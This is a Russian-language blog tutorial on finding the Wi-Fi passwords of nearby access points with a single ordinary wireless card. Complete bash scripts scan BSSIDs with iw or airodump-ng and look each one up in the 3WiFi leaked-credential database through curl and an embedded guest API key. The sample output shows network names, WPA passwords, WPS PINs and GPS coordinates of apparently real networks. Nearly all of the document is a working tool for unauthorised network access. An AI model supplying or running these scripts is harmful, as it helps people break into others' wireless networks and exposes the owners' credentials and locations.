У меня появилась парочка интересных идей и в этой заметке я поделюсь первой идеей. Есть сервис 3WiFi — он позволяет узнать пароли от точек доступа Wi-Fi. Подробности о самом сервисе в статье «Сервис 3WiFi: пароли от точек доступа Wi-Fi». Было бы неплохо что-нибудь такое придумать, чтобы автоматически проверять все точки в округе на наличие тех, которые есть в базе данных 3WiFi — чтобы не искать вручную, а просто сразу просканировать и подключиться. И… это уже тоже сделано — подробности в статье «Автоматическая проверка всех Точек Доступа по базе 3WiFi».
Но реализация WiFi-autopwner требует наличия двух беспроводных адаптеров, один из которых обязательно должен поддерживать режим монитора, а второй обязательно быть подключённым к Интернету.
В общем, я придумал способ, который позволяет проверить все беспроводные точки доступа в пределах досягаемости на их наличие в базе 3WiFi, но при этом требуется только одна Wi-Fi карта, причём обычная — её не нужно переводить в режим монитора. Правда, подключение Интернету по-прежнему требуется — поскольку используется онлайн база данных. Но что важно: во время сканирования, Wi-Fi соединение не будет разрываться. То есть достаточно 1 адаптера, который будет и сканировать, и в это же самое время быть подключённым к Интернету.
Попросту говоря, если у вас Linux с любой Wi-Fi картой, то вам этот способ уже подходит. Итак, рассмотрим способ как быстро узнать пароль от Wi-Fi рядом обычной Wi-Fi картой без режима монитора.
Создаём файл 3wifi.sh:
1 | gedit 3wifi.sh |
И копируем в него:
1234567891011121314151617181920212223242526 | #!/bin/bash IFACE= 'wlan0' SCAN_ATTEMPTS=4 API_KEY= '23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC' TMP_FILE= '/tmp/scan_results.txt' rm $TMP_FILE 2> /dev/null for (( i=1; i<=$SCAN_ATTEMPTS; i=i+1 )); do echo "Scan #: $i" FOUND= "$( sudo iw dev $IFACE scan | grep -E '^BSS' | grep -E -o '[0-9a-z:]{17}' )" echo "$FOUND" >> /tmp/scan_results .txt echo 'Found APs: ' ` echo "$FOUND" | wc -l` done UNIQUE= "$( cat $TMP_FILE | sort | uniq )" echo '===================' echo "Unique APs: " ` echo "$UNIQUE" | wc -l` echo "$UNIQUE" | while read -r line ; do echo "Trying $line..." ; echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$line`\e[0m" | grep -E - v ':\[\]' ; sleep 15; done |
Прежде чем запустить, нужно указать имя своего беспроводного интерфейса. Узнать это имя можно командой:
1 | iw dev |
Вписать его нужно в строке (вместо wlan0):
1 | IFACE= 'wlan0' |
Другие настройки — количество сканирований:
1 | SCAN_ATTEMPTS=4 |
По умолчанию указано 4 — можете выбрать больше или меньше. Каждое сканирование занимает всего несколько секунд — чем больше сканирований, тем меньше вероятность пропустить беспроводные сети — особенно если вы перемещаете беспроводную карту в пределах комнаты.
Настройка API ключа сервиса 3WiFi:
1 | API_KEY= '23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC' |
Используется API ключ гостевого аккаунта — если у вас есть аккаунт более высокого уровня, то можете указать здесь свой ключ. Если такого аккаунта у вас нет — то не надо ничего менять в этой строке.
Если у вас не-гостевой аккаунт и вы прописали свой API ключ, то удалите из скрипта строку:
1 | sleep 15; |
Запуск очень простой:
1 | sudo bash 3wifi.sh |
Будет выведено:
Если после строки, которая начинается с Trying … ничего не выведено, значит проверяемая ТД отсутствует в базе данных 3WiFi.
Если Точка Доступа найдена в 3WiFi, то будет выведено примерно следующее:
1 | {"result":true,"data":{"D8:FB:5E:4D:47:82":[{"time":"2019-07-01 18:53:43","bssid":"D8:FB:5E:4D:47:82","essid":"BURAPA","sec":"WPA\/WPA2","key":"0840446924","wps":"12345670","lat":12.52412224,"lon":99.97179413}]},"time":0.012100219726562} |
essid — это имя точки доступа, а key — это пароль от неё. То есть в предыдущей строке сказано, что для ТД BURAPA паролем для подключения к Wi-Fi является 0840446924.
Если возникла ошибка вида:
1 | {"result":false,"error":"cooldown","time":0.0015487670898438} |
то она означает, что предыдущая ТД не проверена — вы можете позднее перезапустить сканирование, либо вручную проверить пропущенные ТД на сайте 3WiFi.
Второй запуск:
Две ТД не получилось проверить, зато найдена новая в БД:
1 | {"result":true,"data":{"FC:52:8D:B0:EE:9E":[{"time":"2019-07-01 07:08:11","bssid":"FC:52:8D:B0:EE:9E","essid":"walaiporn","sec":"WPA\/WPA2","key":"77291944","wps":"12345670","lat":12.52481079,"lon":99.97236633}]},"time":0.49964094161987} |
Имя: walaiporn, пароль: 77291944.
Бонус
Рассмотрим ещё один вариант — когда Wi-Fi карта одна, но она поддерживает режим монитора. В этом случае можно просканировать сети с помощью airodump-ng — во время сканирование беспроводной адаптер должен быть в режиме монитора и, следовательно, не может быть подключён к Интернету. Поэтому данные сканирования, вместо проверки, можно сохранить в файл.
Затем, после окончания сканирования, можно подключиться к Интернету с помощью этого адаптера и выполнить проверку по онлайн базе данных.
Итак, переводим интерфейс в режим монитора (замените ИНТЕРФЕЙС на имя вашего беспроводного интерфейса):
123 | sudo ip link set ИНТЕРФЕЙС down sudo iw ИНТЕРФЕЙС set monitor control sudo ip link set ИНТЕРФЕЙС up |
И запускаем airodump-ng (укажите действительное имя интерфейса вместо ИНТЕРФЕЙС):
1 | sudo airodump-ng --berlin 60000 -w /tmp/3wifi ИНТЕРФЕЙС |
Работать программа может любое количество времени — на ваше усмотрение. Когда надоест собирать данные, нажмите CTRL+с.
Теперь создайте файл 3wifi-file.sh:
1 | gedit 3wifi- file .sh |
Скопируйте в него:
12345678910111213 | #!/bin/bash API_KEY= '23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC' FILE= '/tmp/3wifi-01.csv' while read -r line ; do BSSID=` echo $line | awk '{print $1}' | sed 's/,//' ` ESSID=` echo $line | awk -F "," '{print $14}' | sed 's/ //' ` echo "Trying $BSSID $ESSID" echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$BSSID`\e[0m" | grep -E - v ':\[\]' sleep 15 done < <( grep -E '([A-Za-z0-9._: @\(\)\\=\[\{\}\"%;-]+,){14}' $FILE) |
Когда у вас вновь будет подключение к Интернету, запустите его:
1 | bash 3wifi- file .sh |
Дождитесь окончания работы.
Если вы собираетесь запускать airodump-ng ещё раз, то очистите файлы, которые были созданы ранее (иначе программа 3wifi-file.sh будет вновь использовать старые файлы):
1 | sudo rm /tmp/3wifi * |